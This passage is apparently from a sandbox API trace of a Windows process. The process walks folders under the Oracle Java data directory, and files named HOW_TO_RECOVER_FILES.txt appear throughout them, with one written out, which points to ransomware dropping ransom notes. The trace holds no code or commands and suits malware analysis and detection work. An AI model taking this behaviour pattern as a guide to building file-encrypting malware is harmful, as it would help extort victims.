nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.362] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0152.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0152.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0152.362] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java", lpFilePart=0x0) returned 0x1e [0152.362] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.363] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.363] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".oracle_jre_usage", cAlternateFileName="ORACLE~1")) returned 1 [0152.363] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x411f408e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x411f408e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.363] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3e28d7e9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e28d7e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0152.363] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath", cAlternateFileName="")) returned 1 [0152.363] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0152.363] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 0 [0152.364] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0152.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0152.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0152.364] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java", lpFilePart=0x0) returned 0x1e [0152.364] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x411f408e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.364] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x411f408e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.364] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".oracle_jre_usage", cAlternateFileName="ORACLE~1")) returned 1 [0152.364] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x411f408e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x411f408e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.365] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3e28d7e9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e28d7e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0152.365] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath", cAlternateFileName="")) returned 1 [0152.365] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0152.365] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.365] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0152.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0152.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0152.365] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage", lpFilePart=0x0) returned 0x30 [0152.365] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3e182767, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.366] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3e182767, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.366] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x70ca10d9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x0, dwReserved1=0x0, cFileName="17dfc292991c7c46.timestamp", cAlternateFileName="17DFC2~1.TIM")) returned 1 [0152.366] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e182767, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3e182767, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e182767, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.366] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.366] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0152.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0152.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0152.367] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage", lpFilePart=0x0) returned 0x30 [0152.367] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3e182767, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e182767, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.367] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3e182767, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e182767, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.367] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x70ca10d9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x0, dwReserved1=0x0, cFileName="17dfc292991c7c46.timestamp", cAlternateFileName="17DFC2~1.TIM")) returned 1 [0152.367] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e182767, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3e182767, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e182767, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.367] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e182767, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3e182767, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e182767, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0152.367] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0152.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0152.368] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0152.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0152.368] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.369] GetFileType (hFile=0x7dc) returned 0x1 [0152.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0152.369] GetFileType (hFile=0x7dc) returned 0x1 [0152.369] WriteFile (in: hFile=0x7dc, lpBuffer=0x38a07d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x38a07d0*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0152.370] CloseHandle (hObject=0x7dc) returned 1 [0152.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0152.370] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", lpFilePart=0x0) returned 0x2f [0152.371] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3e28d7e9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e28d7e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3e28d7e9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e28d7e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3e28d7e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4eba485, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8.gоod", cAlternateFileName="BASEIM~1.GOD")) returned 1 [0152.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e28d7e9, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3e28d7e9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e5d499a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.371] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0152.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0152.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0152.372] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", lpFilePart=0x0) returned 0x2f [0152.372] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3e28d7e9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e28d7e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.372] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3e28d7e9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e28d7e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.372] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3e28d7e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4eba485, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8.gоod", cAlternateFileName="BASEIM~1.GOD")) returned 1 [0152.372] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e28d7e9, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3e28d7e9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e5d499a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.372] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e28d7e9, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3e28d7e9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e5d499a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0152.372] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0152.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0152.373] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\HOW_TO_RECOVER_FILES.txt", 